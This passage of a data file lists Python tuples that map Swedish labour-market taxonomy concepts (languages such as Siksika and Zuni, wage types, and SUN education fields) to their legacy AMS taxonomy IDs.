( {'type': 'language', 'id': 'DJfZ_4fk_kwb', 'preferred_label': 'Siksika', 'deprecated_legacy_id': '10468'},
'language', {'legacy_ams_taxonomy_id': '10468', 'type': 'language', 'label': 'Siksika', 'concept_id': 'DJfZ_4fk_kwb', 'legacy_ams_taxonomy_num_id': 10468}),
( {'type': 'language', 'id': 'dQvb_BHK_Yxk', 'preferred_label': 'Sinotibetanska språk, andra', 'deprecated_legacy_id': '10469'},
'language', {'legacy_ams_taxonomy_id': '10469', 'type': 'language', 'label': 'Sinotibetanska språk, andra', 'concept_id': 'dQvb_BHK_Yxk', 'legacy_ams_taxonomy_num_id': 10469}),
( {'type': 'language', 'id': '443s_ZvN_1F4', 'preferred_label': 'Sioux-språk', 'deprecated_legacy_id': '10470'},
'language', {'legacy_ams_taxonomy_id': '10470', 'type': 'language', 'label': 'Sioux-språk', 'concept_id': '443s_ZvN_1F4', 'legacy_ams_taxonomy_num_id': 10470}),
( {'type': 'language', 'id': 'u9Rr_v5c_iT2', 'preferred_label': 'Slaviska (Athapascaniska)', 'deprecated_legacy_id': '10471'},
'language', {'legacy_ams_taxonomy_id': '10471', 'type': 'language', 'label': 'Slaviska (Athapascaniska)', 'concept_id': 'u9Rr_v5c_iT2', 'legacy_ams_taxonomy_num_id': 10471}),
( {'type': 'language', 'id': 'PMLh_Nss_Ehg', 'preferred_label': 'Slaviska språk, andra', 'deprecated_legacy_id': '10472'},
'language', {'legacy_ams_taxonomy_id': '10472', 'type': 'language', 'label': 'Slaviska språk, andra', 'concept_id': 'PMLh_Nss_Ehg', 'legacy_ams_taxonomy_num_id': 10472}),
( {'type': 'language', 'id': 'kdXZ_zHa_KTB', 'preferred_label': 'Sogdiska', 'deprecated_legacy_id': '10473'},
'language', {'legacy_ams_taxonomy_id': '10473', 'type': 'language', 'label': 'Sogdiska', 'concept_id': 'kdXZ_zHa_KTB', 'legacy_ams_taxonomy_num_id': 10473}),
( {'type': 'language', 'id': 'Gi82_GNa_Uvu', 'preferred_label': 'Soninke', 'deprecated_legacy_id': '10474'},
'language', {'legacy_ams_taxonomy_id': '10474', 'type': 'language', 'label': 'Soninke', 'concept_id': 'Gi82_GNa_Uvu', 'legacy_ams_taxonomy_num_id': 10474}),
( {'type': 'language', 'id': 'HgMp_vQ1_7ed', 'preferred_label': 'Nordsotho', 'deprecated_legacy_id': '10475'},
'language', {'legacy_ams_taxonomy_id': '10475', 'type': 'language', 'label': 'Nordsotho', 'concept_id': 'HgMp_vQ1_7ed', 'legacy_ams_taxonomy_num_id': 10475}),
( {'type': 'language', 'id': 'AtJY_V9b_8Ae', 'preferred_label': 'Sydamerikanska indianspråk, andra', 'deprecated_legacy_id': '10476'},
'language', {'legacy_ams_taxonomy_id': '10476', 'type': 'language', 'label': 'Sydamerikanska indianspråk, andra', 'concept_id': 'AtJY_V9b_8Ae', 'legacy_ams_taxonomy_num_id': 10476}),
( {'type': 'language', 'id': 'HJSu_QbW_htd', 'preferred_label': 'Sukuma', 'deprecated_legacy_id': '10477'},
'language', {'legacy_ams_taxonomy_id': '10477', 'type': 'language', 'label': 'Sukuma', 'concept_id': 'HJSu_QbW_htd', 'legacy_ams_taxonomy_num_id': 10477}),
( {'type': 'language', 'id': 's6D9_CAD_eMB', 'preferred_label': 'Sumeriska', 'deprecated_legacy_id': '10478'},
'language', {'legacy_ams_taxonomy_id': '10478', 'type': 'language', 'label': 'Sumeriska', 'concept_id': 's6D9_CAD_eMB', 'legacy_ams_taxonomy_num_id': 10478}),
( {'type': 'language', 'id': 'qLfm_7QZ_37r', 'preferred_label': 'Sundanesiska', 'deprecated_legacy_id': '10479'},
'language', {'legacy_ams_taxonomy_id': '10479', 'type': 'language', 'label': 'Sundanesiska', 'concept_id': 'qLfm_7QZ_37r', 'legacy_ams_taxonomy_num_id': 10479}),
( {'type': 'language', 'id': 'rt8T_8UB_wTq', 'preferred_label': 'Thaispråk, andra', 'deprecated_legacy_id': '10480'},
'language', {'legacy_ams_taxonomy_id': '10480', 'type': 'language', 'label': 'Thaispråk, andra', 'concept_id': 'rt8T_8UB_wTq', 'legacy_ams_taxonomy_num_id': 10480}),
( {'type': 'language', 'id': 'Zrmd_kmh_AtN', 'preferred_label': 'Tereno', 'deprecated_legacy_id': '10481'},
'language', {'legacy_ams_taxonomy_id': '10481', 'type': 'language', 'label': 'Tereno', 'concept_id': 'Zrmd_kmh_AtN', 'legacy_ams_taxonomy_num_id': 10481}),
( {'type': 'language', 'id': 'JGyZ_VXD_V8b', 'preferred_label': 'Tetum', 'deprecated_legacy_id': '10482'},
'language', {'legacy_ams_taxonomy_id': '10482', 'type': 'language', 'label': 'Tetum', 'concept_id': 'JGyZ_VXD_V8b', 'legacy_ams_taxonomy_num_id': 10482}),
( {'type': 'language', 'id': 'yTWE_vfZ_HNB', 'preferred_label': 'Tiv', 'deprecated_legacy_id': '10484'},
'language', {'legacy_ams_taxonomy_id': '10484', 'type': 'language', 'label': 'Tiv', 'concept_id': 'yTWE_vfZ_HNB', 'legacy_ams_taxonomy_num_id': 10484}),
( {'type': 'language', 'id': 'mZVe_5Ug_ncD', 'preferred_label': 'Tlingit', 'deprecated_legacy_id': '10485'},
'language', {'legacy_ams_taxonomy_id': '10485', 'type': 'language', 'label': 'Tlingit', 'concept_id': 'mZVe_5Ug_ncD', 'legacy_ams_taxonomy_num_id': 10485}),
( {'type': 'language', 'id': 'cnGc_92Q_oex', 'preferred_label': 'Tokelau', 'deprecated_legacy_id': '10486'},
'language', {'legacy_ams_taxonomy_id': '10486', 'type': 'language', 'label': 'Tokelau', 'concept_id': 'cnGc_92Q_oex', 'legacy_ams_taxonomy_num_id': 10486}),
( {'type': 'language', 'id': 'RUJ6_xGA_eUN', 'preferred_label': 'Tonganska', 'deprecated_legacy_id': '10487'},
'language', {'legacy_ams_taxonomy_id': '10487', 'type': 'language', 'label': 'Tonganska', 'concept_id': 'RUJ6_xGA_eUN', 'legacy_ams_taxonomy_num_id': 10487}),
( {'type': 'language', 'id': 'qzy8_5NW_TDP', 'preferred_label': 'Tsimshian', 'deprecated_legacy_id': '10488'},
'language', {'legacy_ams_taxonomy_id': '10488', 'type': 'language', 'label': 'Tsimshian', 'concept_id': 'qzy8_5NW_TDP', 'legacy_ams_taxonomy_num_id': 10488}),
( {'type': 'language', 'id': '2tws_aRJ_FC8', 'preferred_label': 'Tsonga', 'deprecated_legacy_id': '10489'},
'language', {'legacy_ams_taxonomy_id': '10489', 'type': 'language', 'label': 'Tsonga', 'concept_id': '2tws_aRJ_FC8', 'legacy_ams_taxonomy_num_id': 10489}),
( {'type': 'language', 'id': 'VPVt_rxK_6JP', 'preferred_label': 'Tumbuka', 'deprecated_legacy_id': '10491'},
'language', {'legacy_ams_taxonomy_id': '10491', 'type': 'language', 'label': 'Tumbuka', 'concept_id': 'VPVt_rxK_6JP', 'legacy_ams_taxonomy_num_id': 10491}),
( {'type': 'language', 'id': '4eqr_GrX_XM6', 'preferred_label': 'Ottomanturkiska', 'deprecated_legacy_id': '10492'},
'language', {'legacy_ams_taxonomy_id': '10492', 'type': 'language', 'label': 'Ottomanturkiska', 'concept_id': '4eqr_GrX_XM6', 'legacy_ams_taxonomy_num_id': 10492}),
( {'type': 'language', 'id': 'zunG_TL8_koW', 'preferred_label': 'Tuvalu', 'deprecated_legacy_id': '10493'},
'language', {'legacy_ams_taxonomy_id': '10493', 'type': 'language', 'label': 'Tuvalu', 'concept_id': 'zunG_TL8_koW', 'legacy_ams_taxonomy_num_id': 10493}),
( {'type': 'language', 'id': 'jE6j_5nL_t9U', 'preferred_label': 'Tuvinska', 'deprecated_legacy_id': '10494'},
'language', {'legacy_ams_taxonomy_id': '10494', 'type': 'language', 'label': 'Tuvinska', 'concept_id': 'jE6j_5nL_t9U', 'legacy_ams_taxonomy_num_id': 10494}),
( {'type': 'language', 'id': 'hP5c_JJk_riU', 'preferred_label': 'Ugaritiska', 'deprecated_legacy_id': '10495'},
'language', {'legacy_ams_taxonomy_id': '10495', 'type': 'language', 'label': 'Ugaritiska', 'concept_id': 'hP5c_JJk_riU', 'legacy_ams_taxonomy_num_id': 10495}),
( {'type': 'language', 'id': 'h3RJ_dgP_MxH', 'preferred_label': 'Vai', 'deprecated_legacy_id': '10496'},
'language', {'legacy_ams_taxonomy_id': '10496', 'type': 'language', 'label': 'Vai', 'concept_id': 'h3RJ_dgP_MxH', 'legacy_ams_taxonomy_num_id': 10496}),
( {'type': 'language', 'id': 'sGCA_SoQ_VDz', 'preferred_label': 'Venda', 'deprecated_legacy_id': '10497'},
'language', {'legacy_ams_taxonomy_id': '10497', 'type': 'language', 'label': 'Venda', 'concept_id': 'sGCA_SoQ_VDz', 'legacy_ams_taxonomy_num_id': 10497}),
( {'type': 'language', 'id': 'SMdj_4DK_D7D', 'preferred_label': 'Volapük', 'deprecated_legacy_id': '10498'},
'language', {'legacy_ams_taxonomy_id': '10498', 'type': 'language', 'label': 'Volapük', 'concept_id': 'SMdj_4DK_D7D', 'legacy_ams_taxonomy_num_id': 10498}),
( {'type': 'language', 'id': 'QHQc_Thx_KyY', 'preferred_label': 'Votiska', 'deprecated_legacy_id': '10499'},
'language', {'legacy_ams_taxonomy_id': '10499', 'type': 'language', 'label': 'Votiska', 'concept_id': 'QHQc_Thx_KyY', 'legacy_ams_taxonomy_num_id': 10499}),
( {'type': 'language', 'id': 'Su2Y_KnM_Nm3', 'preferred_label': 'Wakashan språk', 'deprecated_legacy_id': '10500'},
'language', {'legacy_ams_taxonomy_id': '10500', 'type': 'language', 'label': 'Wakashan språk', 'concept_id': 'Su2Y_KnM_Nm3', 'legacy_ams_taxonomy_num_id': 10500}),
( {'type': 'language', 'id': 'pKgd_UJA_ahC', 'preferred_label': 'Walamo', 'deprecated_legacy_id': '10501'},
'language', {'legacy_ams_taxonomy_id': '10501', 'type': 'language', 'label': 'Walamo', 'concept_id': 'pKgd_UJA_ahC', 'legacy_ams_taxonomy_num_id': 10501}),
( {'type': 'language', 'id': 'vm4L_9sD_6Dd', 'preferred_label': 'Waray', 'deprecated_legacy_id': '10502'},
'language', {'legacy_ams_taxonomy_id': '10502', 'type': 'language', 'label': 'Waray', 'concept_id': 'vm4L_9sD_6Dd', 'legacy_ams_taxonomy_num_id': 10502}),
( {'type': 'language', 'id': 'ZLh2_Qtx_GQm', 'preferred_label': 'Washo', 'deprecated_legacy_id': '10503'},
'language', {'legacy_ams_taxonomy_id': '10503', 'type': 'language', 'label': 'Washo', 'concept_id': 'ZLh2_Qtx_GQm', 'legacy_ams_taxonomy_num_id': 10503}),
( {'type': 'language', 'id': 'PsHc_32K_PEz', 'preferred_label': 'Jakutiska', 'deprecated_legacy_id': '10506'},
'language', {'legacy_ams_taxonomy_id': '10506', 'type': 'language', 'label': 'Jakutiska', 'concept_id': 'PsHc_32K_PEz', 'legacy_ams_taxonomy_num_id': 10506}),
( {'type': 'language', 'id': 'rYw9_SHt_yWk', 'preferred_label': 'Yao', 'deprecated_legacy_id': '10507'},
'language', {'legacy_ams_taxonomy_id': '10507', 'type': 'language', 'label': 'Yao', 'concept_id': 'rYw9_SHt_yWk', 'legacy_ams_taxonomy_num_id': 10507}),
( {'type': 'language', 'id': 'PWs8_ctN_ewk', 'preferred_label': 'Yapese', 'deprecated_legacy_id': '10508'},
'language', {'legacy_ams_taxonomy_id': '10508', 'type': 'language', 'label': 'Yapese', 'concept_id': 'PWs8_ctN_ewk', 'legacy_ams_taxonomy_num_id': 10508}),
( {'type': 'language', 'id': 'KBWH_gdK_uVB', 'preferred_label': 'Zapotekiska', 'deprecated_legacy_id': '10510'},
'language', {'legacy_ams_taxonomy_id': '10510', 'type': 'language', 'label': 'Zapotekiska', 'concept_id': 'KBWH_gdK_uVB', 'legacy_ams_taxonomy_num_id': 10510}),
( {'type': 'language', 'id': 'B9Dx_jN8_QZg', 'preferred_label': 'Zuni', 'deprecated_legacy_id': '10512'},
'language', {'legacy_ams_taxonomy_id': '10512', 'type': 'language', 'label': 'Zuni', 'concept_id': 'B9Dx_jN8_QZg', 'legacy_ams_taxonomy_num_id': 10512}),
( {'type': 'language', 'id': 'ASKN_a1S_Uqt', 'preferred_label': 'Yupik språk', 'deprecated_legacy_id': '10513'},
'language', {'legacy_ams_taxonomy_id': '10513', 'type': 'language', 'label': 'Yupik språk', 'concept_id': 'ASKN_a1S_Uqt', 'legacy_ams_taxonomy_num_id': 10513}),
( {'type': 'language', 'id': 'vQHk_Y7j_NVM', 'preferred_label': 'Gammelfranska', 'deprecated_legacy_id': '10514'},
'language', {'legacy_ams_taxonomy_id': '10514', 'type': 'language', 'label': 'Gammelfranska', 'concept_id': 'vQHk_Y7j_NVM', 'legacy_ams_taxonomy_num_id': 10514}),
( {'type': 'language', 'id': 'ujrF_MeF_LSB', 'preferred_label': 'Meänkieli/Tornedalsfinska', 'deprecated_legacy_id': '10515'},
'language', {'legacy_ams_taxonomy_id': '10515', 'type': 'language', 'label': 'Meänkieli/Tornedalsfinska', 'concept_id': 'ujrF_MeF_LSB', 'legacy_ams_taxonomy_num_id': 10515}),
( {'type': 'language', 'id': 'Lozg_qhA_r3y', 'preferred_label': 'Dari', 'deprecated_legacy_id': '10516'},
'language', {'legacy_ams_taxonomy_id': '10516', 'type': 'language', 'label': 'Dari', 'concept_id': 'Lozg_qhA_r3y', 'legacy_ams_taxonomy_num_id': 10516}),
( {'type': 'language', 'id': 'xYJh_6Ez_4Md', 'preferred_label': 'Assyriska', 'deprecated_legacy_id': '10517'},
'language', {'legacy_ams_taxonomy_id': '10517', 'type': 'language', 'label': 'Assyriska', 'concept_id': 'xYJh_6Ez_4Md', 'legacy_ams_taxonomy_num_id': 10517}),
( {'type': 'language', 'id': '8VkC_Gwt_jHy', 'preferred_label': 'Kaldeiska', 'deprecated_legacy_id': '10518'},
'language', {'legacy_ams_taxonomy_id': '10518', 'type': 'language', 'label': 'Kaldeiska', 'concept_id': '8VkC_Gwt_jHy', 'legacy_ams_taxonomy_num_id': 10518}),
( {'type': 'language', 'id': 'w9hf_iyH_FCH', 'preferred_label': 'Saho', 'deprecated_legacy_id': '10519'},
'language', {'legacy_ams_taxonomy_id': '10519', 'type': 'language', 'label': 'Saho', 'concept_id': 'w9hf_iyH_FCH', 'legacy_ams_taxonomy_num_id': 10519}),
( {'type': 'language', 'id': 'nTYu_SG6_CNa', 'preferred_label': 'Kurmanji', 'deprecated_legacy_id': None},
'language', {'legacy_ams_taxonomy_id': None, 'type': 'language', 'label': 'Kurmanji', 'concept_id': 'nTYu_SG6_CNa', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'language', 'id': '49Hh_qTx_aj5', 'preferred_label': 'Sorani', 'deprecated_legacy_id': None},
'language', {'legacy_ams_taxonomy_id': None, 'type': 'language', 'label': 'Sorani', 'concept_id': '49Hh_qTx_aj5', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'language', 'id': 'M3e1_w6W_iLW', 'preferred_label': 'Kantonesiska', 'deprecated_legacy_id': None},
'language', {'legacy_ams_taxonomy_id': None, 'type': 'language', 'label': 'Kantonesiska', 'concept_id': 'M3e1_w6W_iLW', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'wage-type', 'id': 'oG8G_9cW_nRf', 'preferred_label': 'Fast månads- vecko- eller timlön', 'deprecated_legacy_id': '1'},
'wage-type', {'legacy_ams_taxonomy_id': '1', 'type': 'wage-type', 'label': 'Fast månads- vecko- eller timlön', 'concept_id': 'oG8G_9cW_nRf', 'legacy_ams_taxonomy_num_id': 1}),
( {'type': 'wage-type', 'id': 'vVtj_qm6_GQu', 'preferred_label': 'Rörlig ackords- eller provisionslön', 'deprecated_legacy_id': '8'},
'wage-type', {'legacy_ams_taxonomy_id': '8', 'type': 'wage-type', 'label': 'Rörlig ackords- eller provisionslön', 'concept_id': 'vVtj_qm6_GQu', 'legacy_ams_taxonomy_num_id': 8}),
( {'type': 'wage-type', 'id': 'asrX_9Df_ukn', 'preferred_label': 'Fast och rörlig lön', 'deprecated_legacy_id': '7'},
'wage-type', {'legacy_ams_taxonomy_id': '7', 'type': 'wage-type', 'label': 'Fast och rörlig lön', 'concept_id': 'asrX_9Df_ukn', 'legacy_ams_taxonomy_num_id': 7}),
( {'type': 'sun-education-field-1', 'id': 'U925_qMh_KzG', 'preferred_label': 'Allmän utbildning', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Allmän utbildning', 'concept_id': 'U925_qMh_KzG', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'Umn1_P6Q_vPp', 'preferred_label': 'Pedagogik och lärarutbildning', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Pedagogik och lärarutbildning', 'concept_id': 'Umn1_P6Q_vPp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'KmhN_geK_3Gd', 'preferred_label': 'Humaniora och konst', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Humaniora och konst', 'concept_id': 'KmhN_geK_3Gd', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'Mga4_MQZ_aRW', 'preferred_label': 'Samhällsvetenskap, juridik, handel, administration', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Samhällsvetenskap, juridik, handel, administration', 'concept_id': 'Mga4_MQZ_aRW', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'mQSY_Afj_Bv4', 'preferred_label': 'Naturvetenskap, matematik och informations- och kommunikationsteknik (IKT)', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Naturvetenskap, matematik och informations- och kommunikationsteknik (IKT)', 'concept_id': 'mQSY_Afj_Bv4', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'xsQC_69i_d1X', 'preferred_label': 'Teknik och tillverkning', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Teknik och tillverkning', 'concept_id': 'xsQC_69i_d1X', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'WtZG_YJq_m3B', 'preferred_label': 'Lant- och skogsbruk samt djursjukvård', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Lant- och skogsbruk samt djursjukvård', 'concept_id': 'WtZG_YJq_m3B', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'bV8r_EjP_wxB', 'preferred_label': 'Hälso- och sjukvård samt social omsorg', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Hälso- och sjukvård samt social omsorg', 'concept_id': 'bV8r_EjP_wxB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'SmQC_tL9_6Vb', 'preferred_label': 'Tjänster', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Tjänster', 'concept_id': 'SmQC_tL9_6Vb', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-1', 'id': 'SvNP_hTj_bHG', 'preferred_label': 'Okänd', 'deprecated_legacy_id': None},
'sun-education-field-1', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-1', 'label': 'Okänd', 'concept_id': 'SvNP_hTj_bHG', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'n4aT_1x4_oFw', 'preferred_label': 'Bred, generell utbildning', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Bred, generell utbildning', 'concept_id': 'n4aT_1x4_oFw', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 's6jT_CW8_viT', 'preferred_label': 'Läs- och skrivinlärning för vuxna', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Läs- och skrivinlärning för vuxna', 'concept_id': 's6jT_CW8_viT', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'CESx_ZDS_4bY', 'preferred_label': 'Personlig utveckling', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Personlig utveckling', 'concept_id': 'CESx_ZDS_4bY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'dvre_Duj_oyv', 'preferred_label': 'Pedagogik och lärarutbildning', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Pedagogik och lärarutbildning', 'concept_id': 'dvre_Duj_oyv', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '49hp_SsT_G6u', 'preferred_label': 'Konst och media', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Konst och media', 'concept_id': '49hp_SsT_G6u', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'XMgK_vMp_xJp', 'preferred_label': 'Humaniora', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Humaniora', 'concept_id': 'XMgK_vMp_xJp', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'bLS3_m9V_c41', 'preferred_label': 'Samhälls- och beteendevetenskap', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Samhälls- och beteendevetenskap', 'concept_id': 'bLS3_m9V_c41', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '4CNy_4r7_Kqk', 'preferred_label': 'Journalistik och information', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Journalistik och information', 'concept_id': '4CNy_4r7_Kqk', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '1nfZ_zkU_RyS', 'preferred_label': 'Företagsekonomi, handel och administration', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Företagsekonomi, handel och administration', 'concept_id': '1nfZ_zkU_RyS', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'H5iv_5v9_t4o', 'preferred_label': 'Juridik och rättsvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Juridik och rättsvetenskap', 'concept_id': 'H5iv_5v9_t4o', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '4rRq_Nyp_tCB', 'preferred_label': 'Biologi och miljövetenskap', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Biologi och miljövetenskap', 'concept_id': '4rRq_Nyp_tCB', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '4uY2_MQQ_XQy', 'preferred_label': 'Fysik, kemi och geovetenskap', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Fysik, kemi och geovetenskap', 'concept_id': '4uY2_MQQ_XQy', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'jvrj_RjH_Xzz', 'preferred_label': 'Matematik och övrig naturvetenskap', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Matematik och övrig naturvetenskap', 'concept_id': 'jvrj_RjH_Xzz', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'Bktq_dkL_8fH', 'preferred_label': 'Informations- och kommunikationsteknik (IKT)', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Informations- och kommunikationsteknik (IKT)', 'concept_id': 'Bktq_dkL_8fH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'n6zo_VDi_gPi', 'preferred_label': 'Teknik och teknisk industri', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Teknik och teknisk industri', 'concept_id': 'n6zo_VDi_gPi', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'JjwK_ULz_LyY', 'preferred_label': 'Material och tillverkning', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Material och tillverkning', 'concept_id': 'JjwK_ULz_LyY', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'fPFH_YgR_2MH', 'preferred_label': 'Samhällsbyggnad och byggnadsteknik', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Samhällsbyggnad och byggnadsteknik', 'concept_id': 'fPFH_YgR_2MH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'yDGz_siE_K7e', 'preferred_label': 'Lantbruk, trädgård, skog och fiske', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Lantbruk, trädgård, skog och fiske', 'concept_id': 'yDGz_siE_K7e', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'Fkrh_L3n_g84', 'preferred_label': 'Djursjukvård', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Djursjukvård', 'concept_id': 'Fkrh_L3n_g84', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'xPJU_eQm_ehe', 'preferred_label': 'Hälso- och sjukvård', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Hälso- och sjukvård', 'concept_id': 'xPJU_eQm_ehe', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'Cbrh_8aE_CcP', 'preferred_label': 'Socialt arbete och omsorg', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Socialt arbete och omsorg', 'concept_id': 'Cbrh_8aE_CcP', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'Fxpk_ePT_hMZ', 'preferred_label': 'Personliga tjänster', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Personliga tjänster', 'concept_id': 'Fxpk_ePT_hMZ', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'QgQc_N3Y_Xrh', 'preferred_label': 'Transporttjänster', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Transporttjänster', 'concept_id': 'QgQc_N3Y_Xrh', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '1joZ_PHC_wU7', 'preferred_label': 'Arbetsmiljö och renhållning', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Arbetsmiljö och renhållning', 'concept_id': '1joZ_PHC_wU7', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': '16Ri_bLX_Wug', 'preferred_label': 'Säkerhetstjänster', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Säkerhetstjänster', 'concept_id': '16Ri_bLX_Wug', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-2', 'id': 'Jc4o_RgJ_ddf', 'preferred_label': 'Okänd', 'deprecated_legacy_id': None},
'sun-education-field-2', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-2', 'label': 'Okänd', 'concept_id': 'Jc4o_RgJ_ddf', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'wES4_1rw_TEH', 'preferred_label': 'Bred, generell utbildning', 'deprecated_legacy_id': None},
'sun-education-field-3', {'legacy_ams_taxonomy_id': None, 'type': 'sun-education-field-3', 'label': 'Bred, generell utbildning', 'concept_id': 'wES4_1rw_TEH', 'legacy_ams_taxonomy_num_id': None}),
( {'type': 'sun-education-field-3', 'id': 'K4t9_4gZ_MgJ', 'preferred_label': 'Läs- och skrivinlärning för vuxna', 'deprecated_legacy_id': None},
